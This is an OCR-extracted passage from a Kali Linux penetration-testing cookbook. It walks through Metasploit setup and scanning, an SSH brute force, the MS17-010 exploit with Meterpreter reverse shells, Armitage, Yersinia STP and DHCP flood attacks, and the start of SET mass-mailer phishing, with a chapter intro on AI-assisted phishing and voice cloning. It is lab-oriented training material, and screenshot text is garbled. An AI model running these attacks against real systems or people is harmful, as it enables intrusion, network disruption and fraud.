. D Title Platform Language Author

2021-03-26 ¥ Apache Ghostcat CVE 2020-1938 - Paper Multiple English NAYAN DAS |

Showing 1 to 1 of 1 entries (filtered from 1,682 total entries) FIRST PREVIOU: 6 NEXT LAST

Figure 7.13 - ExploitDB -2020-1938
Selecting it will bring up the same detailed research paper on Ghostcat.

7. As alast exercise, select the Google Hacking Database (GHDB)—it is the third icon on
the left-hand side menu—and try doing some searches related to the queries we ran. This

is an additional benefit of the online ExploitDB site.

Figure 7.14 - GHDB

8. When finished, you may close your web browser.

How it works...
ExploitDB is the online version of searchsploit. We conducted the same searches as we did with
searchsploit and obtained the same results. Most people will generally find visiting the website

easier and more convenient. However, you cannot always depend on having an internet connection.

See also...

More information is available at https://www.exploit-db.com/about-exploit-db.


https://www.exploit-db.com/about-exploit-db
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Setting up Metasploit

In this recipe, we’ll guide you through the initial setup and configuration of Metasploit, one of
the best tools for exploitation. You’ll learn how to properly set up your environment and create
a stable environment to conduct your pentesting activities. By the end, you’ll be ready to put

Metasploit to work.

Metasploit has earned its place as one of the most widely used tools due to its versatility, ease of
use, and powerful capabilities. It brings together a vast collection of exploits, payloads, scanners,
and post-exploitation tools into a single, unified framework. It has a robust development com-

munity that is continually adding to its functionality and providing frequent updates.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

How to do it...

1. Open aterminal window.

Metasploit comes already installed in Kali; however, if it is not present, based on your

package selection, use the following commands:

sudo apt update && sudo apt full-upgrade -y

sudo apt install metasploit-framework
sudo msfdb start

2. First, initialize the database by entering the following:

sudo msfdb init

3. Next, start the console by entering the following, and you will see the initial startup screen

as shown in Figure 7.15:

msfconsole
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kali(@kali: ~/Downloads

Session Actions Edit View Help

— [ ~/Downloads ]

Metasploit tip: You can pivot connections over sessions
ssh_login modules

iliary - 1,¢ payloads
3 nops - 9 evasion

Figure 7.15 - msfconsole

4. Since Metasploit was installed as a package, itis updated using the package manager apt
update and apt upgrade commands. However, if you did not use a package manager, use

the following command to update it:

5. Now check your database status from within msfconsole by entering the following:

db_status

You will see the database type and an indication that it’s connected to the database.

Connection type:

Figure 7.16 - db_status
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6. Now type the following to see some global options that you may want to modify:

You will see the options as shown in Figure 7.17:

m > show options

Global Options:

Option C B ting e iption

onsole input and output
of 1 (d 1t @,

tTimeFormat
onLoggil

TimestampQutput

Figure 7.17 - show options

7. For this example, set TimestampOutput to true, as follows:

set TimestampOutput true

8. To revertit to the default, enter the following:

unset TimestampOutput

9. To saveit, enter save.

10. To see what values have been set, enter set.

Value

TimestampOutput true

Figure 7.18 - msf set
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11. Now, review your options again by entering show options.

msf > show options

Global Options:

Option

input and output
of logs (d 18

Meterp prompt
MinimumR 0 e mi nk of expl
Prompt
Prompt
Prompt eFormat y for tim

f 11 input

L1 dir

Figure 7.19 - msf show options

12. Lastly, to exit msfconsole and return to the shell, enter the following:

exit

How it works...

In this recipe, we initialized and configured the Metasploit Framework. Metasploit requires a
properly configured database to store information about hosts, services, credentials, and vul-
nerabilities. By starting msfconsole and verifying the database connection with db_status, we
verified that Metasploit is ready to collect data and organize the data it has collected. We further
learned how to adjust global framework settings. Understanding how to modify and save these

settings ensures consistency and the ability to adjust Metasploit to better suit your needs.

See also...

More information on the installation of Metasploit can be found at https://docs.metasploit.

com/docs/using-metasploit/getting-started/nightly-installers.html.

Learning Metasploit basics
In this recipe, we’ll explore the fundamental concepts of Metasploit, including workspaces, mod-
ules, and essential commands. Whether you’re a beginner or merely refreshing your skills, un-

derstanding these basics is vital before moving on to more advanced techniques.


https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
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Getting ready

You need the following to complete this recipe:

A Kali Linux VM that is up and operational

How to do it...

1.

Understanding some basic Metasploit database commands will be helpful. From an open
terminal window, check the status of the database with the following command, entering

your password as needed:

sudo msfdb status

To stop the database, the command is as follows:

sudo msfdb stop

To start the database, the command is as follows:

sudo msfdb start

To start the database and start msfconsole, the command is as follows:

sudo msfdb run

Tip

4 N

\ ! 7/ . .
—@— You may want to stop the database after using Metasploit to conserve re-
sources. Also, you will need to restart it upon reboot if you have not set it

to start at boot.

Assuming the database is running, go into the Metasploit console with the following:

msfconsole

As a pentester, you may simultaneously work on several clients or projects that need

separation. In Metasploit, you do this with workspaces.
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6. To see what workspaces are available, type the following:

workspace

You will see that there is only one, called default, and you are currently in it.

7. Now add two workspaces with the -a modifier, named projectl and project2:

workspace -a projectl

workspace -a project2

8. Now take another look at your workspaces with the following command:

workspace

You will now see the two new workspaces. Note that the last one you added is the one in

use, denoted in red with the asterisk.

Figure 7.20 - Workspace added

9. Type the following to change to an existing workspace and verify the change:

workspace projectl

workspace

10. Now delete project2 by using the -d modifier and look at your workspaces again, as

follows:

workspace -d project2

workspace
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11.

12.

13.

Figure 7.21 - Deleting a workspace

You will now see that project2 is gone and you have been moved to project1.

Sometimes, you may need to record everything you are doing in msfconsole so you can
easily retrace your steps if required. Sometimes you may be jumping between different
projects and want to keep track, and other times it might prove valuable to your client
to provide more detailed information. To start logging your commands, use the spool

command:

spool /home/kali/projectl.log

To stop spooling, use the following:

spool off

Metasploit will collect various information while you are working on your project or cli-

ent. You can display this information in a report format using the db_export command:

db_export -f xml -a /home/kali/projectl_report.xml

You will see the following results:

Figure 7.22 - db_export

14. Now exitmsfconsole and take alook at the report:

exit

more /home/kali/projectl_report.xml
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You will see the data formatted in XML:

[~/Downloads
/home/kali/projectl_report.xml
nl version="1.8" encoding=" 877>

framewor

‘updated-at>

WNLIC1hIHByb2pl)

created-at>

'updated-at>

UTC</updated-at>

WN1IC1kIHByb2p

Figure 7.23 - db_export output

15. You can now close the terminal window.

How it works...

In this recipe, you learned basic database commands for Metasploit along with the ability to sep-
arate your work into different workspaces and switch between them. You learned how to capture
all your work with the spool command and lastly output the information collected during your

sessions with the db_export command.
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See also...

For more information on the Metasploit commands, please review the following website: https://

docs.metasploit.com/.

Target scanning and enumeration using Metasploit

In this recipe, we’ll explore how Metasploit can be used for target scanning and enumeration.
You’ll learn how to collect information about potential entry points, available services, and system
details before launching an exploit. Proper enumeration is the cornerstone of successful pentest-

ing, and Metasploit provides numerous tools to streamline your information-gathering process.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational
e A Metasploit database that is up and running

e  Start as many target machines as possible, but one of them must be the Metasploitable3

Linux machine

How to do it...

1. Open a terminal window and start the Metasploit console using the following:

msfconsole

2. Type the following to make sure you are in the project1 workspace:

workspace projectl

3. In Chapter 4, Nmap Mastery, you used Nmap to enumerate and scan targets. To do the

same in Metasploit, type the following:

db_nmap -sV 192.168.92.0/24
Asitruns, all results will be loaded into the database.
When done, you will see that the results were collected.

4. To see the hosts discovered, type the following:


https://docs.metasploit.com/
https://docs.metasploit.com/
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You will see the list of hosts as shown here:

os_name os_flavor os_sp purpose info com

Unknown

Figure 7.24 - hosts

5. To see the services discovered, use the following:

services

You will see the list as shown in the following screenshot:

ubuntu Linux; protocel

WORKGROUP

- Jsp
DP/UPNP

API 1.1.1 name
RPC

1

4.7pl Debian 8ubuntul prot

smtpd
Apache httpd ( .6 PHP/
samba i

PHP/5.2

samba smbd
netkit-rsh re

Figure 7.25 - services

6. Let’s use a scanner that is part of Metasploit that will help you gain more information

regarding SMB. Type the following:

use auxiliary/scanner/smb/smb_version
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7. Once loaded, you can use the following command to see what options are available (as

shown in Figure 7.26) with this scanner and which ones are required:

loit.html

command.

Figure 7.26 - smb_version options

8. Setany required field and adjust optional or default set parameters as follows:

set THREADS 10
set RHOSTS 192.168.92.0/24

9. Torun the scanner, which may provide additional information to the database about the

SMB versions, type the following:

You will be shown results as follows:

tion complet
Y |

Figure 7.27- Scanner results

10. Leave this terminal window and open a new one.

11. Inthe new window, look at some wordlists that are provided with Kali. Navigate to the

following:

cd /usr/share/wordlists

1s
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12. Extract the rockyou wordlist, as follows:

sudo gunzip rockyou.txt.gz

Tip
The rockyou wordlistis famous and has been a hacking staple for many years.

However, many more wordlists can be found by searching on the internet.

A more targeted wordlist will reduce the amount of noise the attack creates,

reducing the likelihood of discovery. Remember to use information about
your target and the environment to help you select the best wordlists. Years
ago, I was pentesting for an organization in a certain industry that used a

lot of Latin terms, so loading a Latin-based wordlist found several more hits.

13. Check the directory using the following:

You'll find wordlists for various types of credentials, ranging from usernames and pass-

words to SQL, Wi-Fi, and more.

kali@kali: jusr/s|

Session Actions Edit View Help

= /usr/share/wordlists

/usr/share/wordlists

fusr/share/wordlists
L$ sudo ip rockyou.txt.gz
[sudo] password for kali:

/usr/share/wordlists

root
root r
root r
root r
root
root
root
root
root
root
root
root r
root r
root r
root r
root root ct 3 /usr/share/dict/wordlist-probable. txt

fusr/share/wordlists

Figure 7.28 - Wordlists
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14.

15.

Let’s run a brute force against SSH as an example. Brute-forcing can be a noisy endeavor,
possibly alerting the security team to your presence, but it can be beneficial against the
correct type of targets. However, brute-forcing can also take a very long time, so we are

going to use a shortcut for example purposes.

Run the following command:

cd

nano cookbook wordlist.txt

Add a few words to the list and make sure that vagrant is one of them (don’t make it the
first or the last for demonstration purposes). Then, press CTRL + X followed by Y to save

and exit.

Session Actions Edit View

GNU nano 8.6
admin
supervisor
administrator
vagrant
root]]

Figure 7.29 - cookbook wordlist

16. Close this terminal window. Return to the Metasploit console and enter the following:

use auxiliary/scanner/ssh/ssh_login
set VERBOSE true
set RHOSTS 192.168.92.4 (use the IP of your Metasploitable3 Linux

Machine)
set USER_FILE /home/kali/cookbook wordlist.txt
set PASS_FILE /home/kali/cookbook_wordlist.txt

run
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You will see that vagrant : vagrant was found to be a successful username and password

pair:

tion comp

Figure 7.30 - SSH brute force

N Tip

With verbose on, you can watch it try all the accounts in real time.

17. You can also see that the database automatically captured this information by using the

following command:

creds

18. You can now exit msfconsole with the following command:

19. You may now close the terminal window.

How it works...

We started with a basic Nmap scan that included service discovery. We expanded that scan by
gathering more information on SMB versions. Finally, we used a brute-force attack against SSH on
one of the hosts we discovered during the initial scan. We further demonstrated how Metasploit

captures this information for us.
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See also...

For more information on scanning and enumerating hosts, review the following website: https://
docs.metasploit.com/.

Using exploits and payloads in Metasploit

In this recipe, you will uncover the mechanics of delivering exploits and payloads using Metasploit.
You'll learn about the structure of exploits, how to tailor payloads for different target environ-
ments, and techniques for avoiding detection. This knowledge will allow you to adapt to various

scenarios and optimize your attack strategies.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational
e A Metasploit database that is up and running

e Asmany target machines started as possible, but one of them must be the Metasploitable3

Windows machine

How to do it...

1. Open aterminal window and start the Metasploit console as follows:

msfconsole

2. Type the following to make sure you are in the project1 workspace:
workspace projectl
3. You will now use an exploit against your Windows target machine. To begin, load your
exploit as follows:

use msl7_010_psexec

You will see that the exploitis loaded and that a default payload has been selected.

4. Tolook atall the payloads and options, you can enter the following:

show payloads


https://docs.metasploit.com/.

https://docs.metasploit.com/.
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5. To select a different payload, enter set PAYLOAD with the payload after it:

set PAYLOAD windows/shell reverse_tcp

6. Now, let’s select our Meterpreter shell using the following:

set PAYLOAD windows/meterpreter/reverse_tcp

7. To see all of the options (as shown in Figure 7.31), enter the following:

msf exploit( ) > options
Module options (exploit/windows/smb/ms17_010_psex
Required
DBGTR
LEAKATTE!
NAMEDPIPE

NAMED_PIPES

iption to be used on target for pretty

display name

ADMINS e are to connect . share (ADMI

ssword for the spec
me to authent

tep):

iption
EXITFUNC thr T xit technique (Accepted: *° thread, proc , nong)
LHOST
LPORT

Exploit t:
Name

Automatic

View the full module info with the info r info -d command.

Figure 7.31 - options

Tip

Note that some options are required and some options will be pre-populated

with default values, which may be incorrect.



Chapter 7 273

8. To set an option, use the set command, as follows:

e set RHOSTS 192.168.92.5: Sets your target

e set LHOST 192.168.92.3:Set to the local IP of the Kali machine toward the target
network

. set SMBUser vagrant

. set SMBPass vagrant

Tip
_‘@’_ LHOST had to be set because I'm on a dual-homed network and could not
s open a connection back to the LHOST IP used as the default.

We discovered the username and password in a previous recipe.

9. To see the likelihood of the success of this attack (as shown in Figure 7.32), you can use

the check command:

Figure 7.32 - check

10. To launch the exploit, enter the following:

11. You have now initiated a Meterpreter shell attached to the remote machine. This shell

is a powerful environment that allows you to do many things. Start by just entering a ?

character to see all the options.

12. Now change to the vagrant user’s home directory and list its contents:

cd /users/vagrant

dir
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13. You can get a screenshot of the local machine using the following:

screenshot

14. To exit Meterpreter, enter the following:

exit

How it works...

In this case, we launched an exploit against the Windows target machine. An exploitis necessary
to bypass a device’s security and obtain access to further exploit the machine, which could in-
clude accessing files and taking remote control of the machine. The payload runs on the machine
after it has been exploited to yield the desired result, representing the second stage of the attack.
Meterpreter is a powerful session designed to create a robust environment where we can utilize

our new access.

See also...

To get more information on the Meterpreter shell, please see the documentation at https://

docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html.

Setting up Armitage

In this recipe, we’ll guide you through setting up Armitage, a graphical user interface (GUI) for
Metasploit that streamlines the exploitation process. You’ll learn how to install Armitage and
configure it to connect with Metasploit. Once set up, Armitage offers an intuitive, visual approach

to managing targets and launching attacks.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e A Metasploit database that is up and running

How to do it...

1. Open a terminal window and ensure the Metasploit database is running, as follows:

sudo msfdb status

2. Ifnotrunning, startit:

sudo msfdb start


https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html
https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html
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3. Check whether Armitage is installed using the following:
sudo apt list armitage
You will see installed at the end of the output if it’s ready.
4. Ifitis notinstalled, use the following to do so:

sudo apt update && sudo apt install armitage -y

5. Now change to the metasploit-framework directory and start the RPC server:

cd /usr/share/metasploit-framework

msfrpcd -p 55553 -U msf -P password -f -S

The RPC server command sets the port, user, and password. I further tell it to run in the

foreground with -f and I shut off SSL with -S.

6. Now start Armitage by opening a new terminal window and entering the following:

armitage

7. You will be prompted with a window to enter the connection details, such as the host,

port, username, and password we used with the RPC daemon in step 5.

You will now be presented with the Armitage interface:

= Armitage

Armitage View Hosts Attacks Workspaces Help

* [ awliary

» (& exploit J
» (& payload 4
» (& post

Console X

Figure 7.33 - Armitage main window
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8. To leave Armitage, select the x icon in the upper right-hand corner.
9. To close the RPC daemon in that window, press CTRL + C.

10. You may have to do it twice to stop the daemon.

How it works...

Armitage is currently unmaintained and can be finicky. You may find various types of issues that
may require you to restart it or result in obtaining different results with the same commands.
Many users often enjoy the GUI it provides when they first start their pentesting journey, but
after a short time, they usually revert to console commands. However, at the beginning of your

journey, Armitage can be critical for exposing Metasploit’s capabilities.

Also, while Armitage can automatically start the RPC daemon, from experience, I can tell you
thatit’s not advisable, as it can crash the daemon in an unrecoverable state, requiring a reboot

to restore functionality.

There's more...

To dive deeper into the Armitage setup and troubleshooting, Rapid7 has provided documentation

for common issues such as RPC daemon connection errors and GUI rendering problems. Addition-
ally, you can explore older archived tutorials at community sites such as https://tools.kali.
org/information-gathering/armitage. While the official Armitage site (fastandeasyhacking.
com) has gone offline for a bit, you can still find additional content on platforms such as GitHub

and YouTube.

Visualizing the target

In this recipe, you will use Armitage’s graphical interface to visually map out discovered targets
and identify potential attack vectors. After performing a quick network scan, you will see a vi-
sual representation of live hosts, enabling you to analyze systems, set exploit preferences, and
uncover available attacks through intuitive menus. This approach not only aids newcomers but

also enhances situational awareness for more experienced pentesters.


https://tools.kali.org/information-gathering/armitage
https://tools.kali.org/information-gathering/armitage
fastandeasyhacking.com
fastandeasyhacking.com
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Getting ready

You need the following to complete this recipe:

A Kali Linux VM that is up and operational

As many target machines started as possible, but one of them must be the Metasploitable3

Windows machine
A Metasploit database that is up and running
The RPC daemon running

Armitage launched and the interface up

How to do it...

1.

Open a terminal window and ensure the Metasploit database is running, as follows:

sudo msfdb status

If itis not running, startit:

sudo msfdb start

Next, we must change to the metasploit-framework directory and start the RPC server:

cd /usr/share/metasploit-framework

msfrpcd -p 55553 -U msf -P password -f -S

Start Armitage by opening a new terminal window and entering the following:

armitage

In the Armitage interface, you will note that none of your prior work has been drawn
into the tool. Start by creating a separate workspace in Armitage. From the top menu bar,
select Workspaces, then at the bottom, select Add, name the new workspace, and then
select Activate.

Now do a simple scan against your target network to populate your targets. From the top
menu, select Hosts | Nmap Scan | Quick Scan [0S detect]. In the dialog box, enter the
subnet of your target network; for this example, it is 192.168.56.0/24. Then, select OK.
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Once the scan is complete, you will be presented with a visual representation of your

targets. This will include information on the type of operating system detected and the
IP addresses associated with those machines.

Armitage View Hosts Attacks Workspaces Help

> (B awliary
> (@ exploit
» (& payload
> & post

Console X [ nmaj

Nmap: 600 (access denied)
i nginx 1
nginx 1.4.0
ystemtechnik/Oracle virtualBex virtual NIC)

Host is up (0.00
ALl 100 scanned are in ignored states.
s (reset)

rk Distance: 8 hops
0S and ¢

rvice detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap doi 256 IP addresses (5 hosts up) scanned in 49.60 seconds

Figure 7.34 - Armitage targets

7. Now set your exploit rank. Select Armitage from the top menu, then select Set Exploit

Rank and then Poor. A dialog box will be shown saying the exploit rank has been updated.

Select Ok.
Tip
You can modify Exploit Rank as per your needs. In this example, because we
|
Q- only performed a quick Nmap scan with operating system detection, we did
4 N

not provide Armitage with much information to select appropriate exploits
for our target. More rigorous scans will allow a better selection of exploits

and provide better analysis for Exploit Rank.
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8. Now analyze the computer for attacks. From the top menu, select Attacks and then Find
Attacks. A progress box will display. Let it run to completion. When the completion dialog
box pops up, click OK.

Tip

|
-\@l- Notice the Hail Mary option in the Attacks menu. This will throw many
4 N

attacks at the target, hopingit can find a way in. This is extremely noisy and

will probably be noticed, so it’s not recommended for use.

9. Select a target and right-click. You will be presented with a menu that includes attack
options. Please spend a few minutes familiarizing yourself with these options.

Armitage Wiew Hosts Attacks Workspaces Help

» @ auxiliary
> ﬁ exploit
» [ payload
» ([ post

Services
Scan

Host

e X

Figure 7.35 - Target menu

10. You may now close Armitage.

How it works...

In this scenario, we created a workspace in Armitage, used Nmap to scan for targets, and found
potential exploits to use against those targets. We performed many of the same steps as in prior

recipes exceptin a graphical format.
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Collaborative hacking

In this recipe, you’ll explore how Armitage enables multiple team members to coordinate and

collaborate during a pentest. Utilizing the team server will allow for real-time data sharing and

target views. With these collaboration features, your team can operate more efficiently, share

insights instantly, and prioritize vulnerabilities together.

Getting ready

You need the following to complete this recipe:

A Kali Linux VM that is up and operational

Asmany target machines started as possible, but one of them must be the Metasploitable3

Windows machine

A Metasploit database that is up and running

How to do it...

1

From a terminal window, ensure the Metasploit database is running. You can check this

with the following:

sudo msfdb status

To start teamserver, ensure you are in the metasploit-framework directory, as follows:

cd /usr/share/metasploit-framework

Then, enter the team server command with the syntax sudo teamserver [ip address

to bind to] [password]:

sudo teamserver 192.168.92.3 password

Once started, note two important pieces of information: the login credentials that are
needed for remote users to connect and a fingerprint to validate that the users have con-

nected directly to teamserver.
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it framayork]

1_conne

[+] multi-p

Figure 7.36 - teamserver

5. Either open a new terminal window or, if you have another machine that has Armitage on
it, you can start Armitage on that machine. For demonstration, I will open a new terminal

window and enter the following:

armitage

6. Once open, enter your credentials as previously displayed, and select Connect.

7. Youwill be presented with a dialog box displaying the fingerprint to compare to the server

to validate a direct and secure connection. If the fingerprints match, select Yes.
Verify Fingerprint
The team server's fingerprint is:
d6d34e5d8346a69b18e01c47c533562ae6ec6035

Does this match the fingerprint shown
when the team server started?

No Yes

Figure 7.37 - Fingerprint

8. Adialogbox will appear. Enter a username and select OK.
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9. The Armitage interface will launch. At the bottom, the screen will show that you have

joined the session and are the only one present:

Event Log X

10/30 15:17:34 *** Corey joined

Figure 7.38 - Armitage user

10. While we are here, let’s exploit a target machine. Set the Exploit Rank to Poor and rescan
the targets for an exploit (see the Visualizing the target recipe).

11. Select the Metasploitable3 Windows machine. Right-click and select Attack | smb |
ms17-010-eternalblue.

12. When the attack dialog opens, change the information as needed. Once again, I must
change my LHOST to the interface closest to the target network, 192.168.56.106/24.1can
set SMBUser and SMBPass to vagrant or try it without. Finally, select Launch.

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

This module is a port of the Equation Group ETERNALBLUE exploit, part of the 2
FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove E
operation in Srv!SrvOs2FeaToNt, The size is calculated in Srv!SrvOs2FealistSizeToNt, L
Option 4| Value

LHOST 192.168.92.3 A
LPORT 19556

RHOSTS + 192,168.92.5

RFORT 445 .
Targets: |0 == Automatic Target _VJ

| Use areverse connection

|_| Show advanced options

| Launch |

Figure 7.39 - Exploit dialog
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13. Oncelaunched, anew dialog box at the bottom will provide verbose details of the exploit
process and progress. Finally, you will note that your target machine image will change

to indicate your successful exploit, as shown in the following figure:

Figure 7.40 - Successful attack

14. Now select the machine and right-click. A menu will prompt you with a Shell option, from

which you can select Meterpreter...:

Interact
Meterpreter...
Post Modules

Services
Scan

Host

Disconnect

Figure 7.41 - Shell

15. This will open a window from which you can interact with the shell. Take a few minutes

to familiarize yourself again with the Meterpreter shell.

16. You may now close Armitage and close the teamserver.
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How it works...

The teamserver is an advanced RPC daemon that allows multiple connections and the ability
to interact with the targets and exploited machines collaboratively. Multiple people can attack

different targets, work on various testing stages, or work collaboratively in the same shell.

Using Yersinia to attack network protocols

In this recipe, you will be introduced to Yersinia, a specialized tool designed to exploit and test
network protocol vulnerabilities at the data link layer. You’ll learn how to leverage Yersinia to
execute attacks on protocols such as Spanning Tree and DHCP. By exploring these less frequently

targeted weaknesses, you'll expand your pentesting skills and uncover new vectors for intrusion.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

How to do it...

1. Start by opening a terminal window and checking whether Yersinia is installed by en-

tering the following:

sudo apt list yersinia

2. Ifitis notinstalled, you can do so with the following command:

sudo apt update && sudo apt install yersinia -y

3. Take alook at the Yersinia options using the following:

sudo yersinia -h
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You will see a listing of available options. Note specifically the graphical mode and the

interactive mode. We will be using the interactive mode for our examples.

kali@kali: fusr/share/metasploit-framework

+bl amd64 [ins led,automatic]

-[/usr/share/metasploit-framework]

for nowadays networks

dhcp, dotlg, dotlx, dtp, hsrp, isl, mpls, stp, vtp.

mples
@yersinia.net>

. Nice spanish cities to live in, e them a try!

-[/usr/share/metasploit-framework]

Figure 7.42 - Yersinia help screen

Tip

Yersinia has a GUI; however, it’s notinstalled with Kali. Instructions to install
-()- the GUI can be found here: https://www.golinuxcloud.com/yersinia-
gui-not-working-on-kali-linux/. Additional information can be
found at https://www.blackhat.com/presentations/bh-europe-05/
BH_EU_@5-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf.



https://www.golinuxcloud.com/yersinia-gui-not-working-on-kali-linux/
https://www.golinuxcloud.com/yersinia-gui-not-working-on-kali-linux/
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf
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4. Tolaunch Yersinia in interactive mode, type the following:

sudo yersi

Tip

When Yersinia launches, it will tell you what interface it’s connected to. You

-(y)- must ensure you are using the network connected to the host-only adapter.

In my case, Yersinia defaults to eth®, and my host-only adapter defaults
to ethl. If Idon’t change this, I will launch an attack on my home network,

which will cause lots of problems.

5. Ininteractive mode, use the arrow keys and characters to move around. To open the help
screen, type h.

kali@kali: ~
Session Actions Edit View Help

— yersinia 0.8.2 by Slay & tomac - STP mode [15:38:57],
RootId Bridgeld Iface Last seen

STP Packets:

Figure 7.43 - Yersinia help screen
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6. Browse the options for a minute. Ensure your proper interfaces are selected (as shown in

Figure 7.44) using the following:

<ESC>

i

a) eth® (OFF)

c) lo (OFF)

Figure 7.44 - Interfaces

7. Totoggle the interfaces on and off, select the preferred option. In my case, I want to shut
off eth® and turn on ethi:
e  A:Totoggle off ethe
e  B:Totoggleonethl

e Q:Tosave and exit

8. The first exploit we will do is flood the bridge with topology change notifications. Flood-
ing Spanning Tree Topology Change Notifications (TCNs) can interrupt layer 2 switch

functionality:

e X:To execute the attack

e  3:To select the TCN BPDUs option
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The exploit will be shown as follows:

5

with MiTM

Figure 7.45 - STP exploit

You will see the packets increasing rapidly, flooding the switches in the layer 2 domain.
This flood of traffic can cause the switch to actirregularly, possibly blocking ports on this

and other switches in the network and affecting network communication.

RootId

—— Total Packets: 2963: STP Packets: 29624

000
000F

Figure 7.46 - TCN flood
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9. To end the attack, type the following:

e  K:Tokill the attack

e  Y:To acknowledge the end

10. Now let’s perform a DHCP flood attack. This is useful if you want to exhaust the address
pool of a DHCP server. You could then add your DHCP server to the network, specifying

your parameters. To change to a different protocol, enter the following:

11. Using your arrow keys, select DHCP:

VLAN Tru

Figure 7.47 - Select DHCP

12. Begin the exploit (as shown in Figure 7.48) using the following:

Figure 7.48 - DHCP exploit

Within just a few seconds, your DHCP server will have exhausted all of its IP addresses.
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13. To end the attack, type the following:

e  K:Tokill the attack

e  Y:To acknowledge the end
You can now exit Yersinia by typing Q.

14. You can close the terminal window.

How it works...

Yersinia is a specialized security testing tool focusing on layer 2 network protocols. It sends spe-
cifically crafted packets or protocol messages that can manipulate or disrupt normal network

operations, effectively tricking switches, routers, or other network devices into altered states.

See also...

More information about Yersinia can be found at https://github.com/tomac/yersinia and
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Berrueta_Andres/BH_

EU_O5_Berrueta_Andres.pdf.

Get This Book’s PDF Version and
Exclusive Extras E
| ™

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require an invoice.



https://github.com/tomac/yersinia
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf
http://packtpub.com/unlock

Human Hacking: The Art of
Social Engineering

In this chapter, you will explore the psychological and technical methods that pen testers use to
manipulate individuals and gain unauthorized access. While many security measures focus on
firewalls, antivirus software, and intrusion detection systems, attackers often discover that the

weakest link in any environment is human error.

You will begin by looking at phishing attacks, spear phishing, and the next generation of these
threats, which leverage Al-enhanced intelligence gathering to focus your efforts. Modern tools and
technology have enabled attackers to automate and personalize messages at an unprecedented
scale, as illustrated by recipes on using Al large language models (LLMs) and automated spear
phishing. Additionally, you will learn how to integrate chatbot systems to augment social engi-

neering campaigns, making interactions seem more authentic and personalized.

Beyond email and chat-based deception, you will also learn techniques such as voice and speech
synthesis, which can replicate a target’s voice to lend credibility to fraudulent phone calls, and
full-screen attacks designed to trick users into providing login credentials. You will also gain
insight into how attackers create site clones and employ methods such as DHCP spoofing and

DNS spoofing to redirect targets to malicious domains.
The following recipes will be covered in this chapter:

e Creating a phishing attack
¢ Enhancing intelligence gathering with Al

e  Using AI LLMs to enhance phishing attacks
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e  Creating a spear phishing attack

e  Building phishing templates

e Launching chatbot-based social engineering attacks
e Implementing voice and speech synthesis
e  Building a full-screen attack

e  Building a site cloning attack

e  Generating QR codes

e Creating infectious media

e  Obfuscating and manipulating URLs

e  Using PowerShell as an attack vector

e  Spoofing DHCP

e  Spoofing DNS

Technical requirements

All therecipes in this chapter can be conducted within the VirtualBox environment and originate
from the Kali VM. Furthermore, you will need to access some resources on the web. As we will be
using email with malicious added payloads, it will be important for you to have access to a very
permissive email server, both for sending and receiving emails. For testing purposes, I run a sep-
arate email server locally off a subdomain. This server has no access to the internet and provides
client-side connectivity for testing the message receipt. If you would like to begin by creating a
simple testing environment, [ would suggest trying MailHog, located at https://github.com/
mailhog. Itis very basic and simple to set up and should be sufficient for the requirements of this
book. If you do not have access to such capabilities, one recommendation would be to manually

copy the file from Kali to the target to test the payloads.

Creating a phishing attack

In this recipe, you will examine phishing attacks, one of the most pervasive forms of social engi-
neering, by learning how to craft deceptive emails that you can use to trick victims into revealing
sensitive information. You will also learn about the psychological triggers that make phishing

so effective.


https://github.com/mailhog
https://github.com/mailhog

Chapter 8 293

Getting ready

You need your Kali Linux VM up and operational to complete this recipe.

How to do it...

1

Open a terminal window.

Create an email address list. This list only requires one entry. I am going to add three for

testing purposes:

nano ~/cookbook_emails.txt

Enter your email addresses, and when ready, press CTRL + X followed by Y to save.

Session Actions Edit View

GNU nano 8.6
johndoeq

janesmith@
frankba

Figure 8.1 - Cookbook emails

Tip

\ ! 4
—@— I have provided the full email address for this example, but cleared the do-

4 N
g main names for privacy. I am using a special domain for catching all asso-

ciated emails and forwarding them to me.

In the terminal window, enter the following to start the Social Engineering Toolkit (SET):

sudo setoolkit

When prompted, enter Y to agree to the terms of service.
A menu will be displayed, and from that menu, enter 1 for Social Engineering Attacks.

Next, enter 5 for Mass Mailer Attack.
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7. Enter 2 for E-Mail Attack Mass Mailer.
8. Enter 1 for Pre-Defined Template.

9. Enter 4 for Order Confirmation.

Session Actions Edit View Help

ect from the menu:

K
Point Att,

, the first would
on. The s nd option

-Defined Temp e
-Time Use Email Template

1

templates:
et usage from your computer
this?
it been?

= tus Report
WOAAAAIIIIIILILLL This is cra
s

Figure 8.2 - SET Mass Mailer

10. Enter the path to your email file:

home/kali/cookbook_emails.txt

11. For testing, I am going to use a Gmail account. Select 1. Use a gmail Account for your
email attack. You can create a Gmail account if you want to, or if you have an SMTP open

relay or your own server, then make the necessary selection.
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12. Enter your Gmail address.

13. Enter a FROM name. This will be the name displayed to the recipient when they open the
message.

14. Enter your Gmail password.

Tip

|
—@’— If you choose to use Gmail, you will need to create an application password.
4 N
g Your login password will not work. Instructions can be found here: https://

